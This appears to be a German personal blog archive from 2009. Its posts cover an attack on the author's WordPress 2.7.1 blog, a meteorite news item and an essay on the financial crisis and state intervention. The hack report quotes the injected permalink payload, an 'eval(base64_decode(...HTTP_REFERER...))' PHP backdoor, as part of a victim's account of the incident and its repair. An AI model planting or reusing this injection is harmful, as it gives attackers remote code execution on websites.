2009 05. Sep

Traurig aber wahr: es hat den Anschein, dass mein kleines Blog am Mittwoch um 2:16 Uhr morgens Opfer einer Attacke wurde. Es begann mit der Registrierung eines Benutzers namens “MikeWink”. Danach hatten alle Links im Blog ein Anhängsel in der Form

http://www.example.com/posttitle/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

Der Browser reagiert für jeden Klick auf jeden beliebigen Link mit “Internal Server Error 500″. Man konnte im Blog also nicht mehr navigieren (jeder Link war wie oben beschrieben manipuliert), sondern nur noch die Startseite aufrufen. Bemerkt habe ich den Zustand Donnerstag nachmittag und direkt behoben, indem ich “einfach” im Admin Panel die Permalink-Struktur wieder zurückgesetzt habe auf meinen Standard (dort war der o.g. Code einfach hinzugefügt worden, wie auch immer das geht.

Die Attacke nutzte wohl eine Schwäche in der WordPress-Version 2.7.1, die ich deswegen noch nicht geupdated hatte, weil von Problemen mit dem 2.8.x-Strang berichtet wurde. Lesenswerte Details finden sich beim Fiesen Admin.

MIttlerweile habe ich das Problem oberflächlich behoben, meint: neue Passwörter für Datenbank, FTP, Admin-Bereich. Allerdings scheint der Hack tiefer in die Datenbank zu reichen und hier -Asche auf mein Haupt- ist das letzte Backup von April diesen Jahres, weil still und unbemerkt das Backup-Plugin nach dem Update auf 2.7.1 aufgehört hat, wöchentlich Mail mit einem Backup im Anhang zu schicken. Und da diese Mails automatisch wegsortiert und als “gelesen” marktiert werden… (Update: Lucky Bastard! Sie wurden von da an nur auf einen Ordner auf dem Server gespeichert, statt sie zu verschicken :D )

Es ist doch zum ko**** mit diesen scheiß Hackern bzw. hier eher SkriptKiddies, warum können die nicht einfach irgendwo hingehen und sterben?

Update – Was nicht hilft…

Interessant. Das hat in meinem Blog funktioniert, obwohl die Benutzerregistrierung schon vorher deaktiviert war…

Update 2 – Tracking it down + Gegenmaßnahmen

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2009 13. Jun

Hoax oder LOL, das ist hier die Frage :D

Long story short: ein deutscher Junge wurde von einem Meteoriten an der Hand getroffen und hat überlebt. Das Ding hat danach noch einen netten Krater in den Straßenasphalt gehämmert.
-Artikel auf Slashdot

Zumindest ein Hoax scheint es aber nicht zu sein, denn Google News listet mittlerweile 74 Artikel quer Beet.

2009 04. Apr

“Die Manager” haben es nicht einfach im Moment. Um eines klarzustellen: ich meine mit “den Managern” nur “die verantwortlichen Manager”, das sind die Verantwortlichen der Großbanken, die Top-Investmentbanker und Händler der internationalen Hochfinanz inkl. der Rating-Agenturen, gerade die Rating-Agenturen. Der Rest sind maximal mittelbar Verantwortliche: es gibt auch viele Vorstände und Manager, die von den Dingen, die da abgingen, nichts wussten und vielleicht auch nichts wissen mussten: Personalvorstände, Administration, IT etc. pp. Vielleicht hätten sie es wissen können oder wenigstens fragen müssen, aber das sollen andere klären. Das Problem ist, dass es Heerscharen opportunistischer Rädchen gab und gibt, die einfach mal mitgespielt haben in der naiven Hoffnung, durch ihr Tun irgendwann ganz oben anzukommen. Kaum einer schafft das auch. Wegen der Vielzahl dieser kleinen Rädchen muss sich etwas am System ändern und zwar in der Breite, das ist auch klar geworden.

Ja, “die Manager” greift zu kurz, viel zu kurz, aber sie sind die greifbaren Figuren in diesem Spiel, die Repräsentanten (weil wenigstens vorgeblich mehr oder minder autark handlungsfähig) einer systemischen Fehlentwicklung, in der man Schuld nicht singularisieren kann. Trotzdem lasse ich das jetzt mal so stehen, denn auch bei der Hydra musste man trotz allem letztendlich die Köpfe angehen.

Aber es sind eben nicht nur die Milliarden, die verbrannt wurden durch am Ende völlig undurchschaubare Finanzkonstrukte, die dann als Assets immer und immer wieder weiterverkauft wurden. Ich sage bewusst “nur”, denn es ist eine Menge Geld, eine sehr große Menge Geld, an der wir und kommende Generationen noch zu zahlen haben werden, direkt und indirekt, z.B. über die Inflation, die es früher oder später geben wird.

Was aber bisher in den Betrachtungen fast völlig ausser Acht gelassen wurde: der “starke Staat” im Sinne eines zunehmend interventionistischen Staates. Die politische Kaste, bis unmittelbar vor der Krise verspottet, verlacht und in die Ecke gestellt, nutzt die Gunst der Stunde, um unter dem Beifall des Wahlvolks “den Staat” wieder stark zu machen. Heute sind es das jüngst beschlossene “Enteignungsgesetz” für Banken und die staatlich verordnete Kommunikationsüberwachung, Staatsbeteiligungen und idealer Weise Bundeswehreinsätze im innern. Man muss sich mal vergegenwärtigen, was das bedeutet: Enteignung im wirtschaftlichen Kontext wird in erheblichem Umfang wieder praktiziert! In der im HRE-Kontext zur Diskussion stehenden Größenordnung gab es das m.E. das letzte Mal im Dritten Reich und während der Besatzungszeit nach 1945.

Die Betreiber dieser Maßnahmen sind aber trotzdem noch immer dieselben -nur zu häufig fachlich nicht geeigneten- politischen Akteure, denen jetzt viel, viel Macht zufällt. Und sie nutzen die Gelegenheit lustvoll, man höre sich nur Steinbrücks Kommentare an, jetzt sind sie endlich wieder wer, ganz ohne eigenes Zutun, nur weil eben niemand Besseres parat steht im Moment und weil die Akteure der Finanzwirtschaft diese Situation maßgeblich herbeigeführt haben.

Gleichzeitig nimmt eindeutig die Gewaltbereitschaft einer immer breiteren Bevölkerungsgruppe zu, das fing schon vor der Finanzkrise in Heiligendamm an und setzt sich jetzt in London und Straßbourg fort. Und leider fällt es immer schwerer, es den Leuten zu verdenken. Ich wette 1000 EUR, wenn infratest oder jemand Vergleichbares jetzt repräsentativ fragen würde, ob man Verständnis für solche Ausschreitungen gegen Welthandelsinstitutionen und Banken hat, dass mindestens 20% “ja” sagen würden. Von der Zustimmung zur demokratischen Grundordnung mal ganz zu schweigen. Umso mehr Arbeitslosigkeit und Zukunftsangst um sich greifen, desto deutlicher werden diese Stimmungen zu Tage treten. Das wiederum unterstützt die Bestrebungen des Staates nach mehr Kontrolle und Interventionsmöglichkeiten in der Breite. Eine “freiheitlich-demokratische Gesellschaft” sieht meiner Meinung nach anders aus.

Diese neue Verankerung des Staates in der Wirtschaft und die auf Grundlage der zunehmenden “Protestbereitschaft” bestehenden und kommenden restriktiven Regelungen für Überwachung, Versammlungsrecht und andere hoheitliche Eingriffe werfen dieses Land von einem liberalen Standpunkt betrachtet um Jahrzehnte zurück. Kurioser Weise werden diese Maßnahmen legitimiert durch die angebliche Erosion der freiheitlich-demokratischen Ordnung und um diese zu verhindern, letztlich befördern sie diese Erosion aber noch, weil sie Grundrechte, Freiheit und damit die grundlagen einer wirklichen Demokratie einschränken. Eigentlich ein Paradoxon.

Es ist vielleicht momentan nicht opportun, aber ich bin kein Freund eines “starken Staates”, egal ob neu oder alt. Der Staat soll Schutzfunktionen ausüben und die gesellschaftliche Administration übernehmen, Punkt. Dass es mehr Reglement im Finanzsektor geben muss, Haken dran (Schutzfunktion). Aber die “neue Einmischung” des Staates in immer mehr Lebensbereichen seiner Bürger, werden wir jahrzehntelang verdauen müssen, in homöopathischen Dosen.

Das finde ich die eigentliche Untat der Hauptverantwortlichen der Finanzkrise, denn mit ihrem Handeln haben Sie die Entwicklung aller Gesellschaften in Richtung echter Liberalität weltweit kompromittiert, die Stabilität der bestehenden Demokratien in Gefahr gebracht und die Glaubwürdigkeit des gesellschaftspolitischen “westlichen Exportmodells” beschädigt. Da ist der wirtschaftliche Schaden nur das Tüpfelchen auf dem i.

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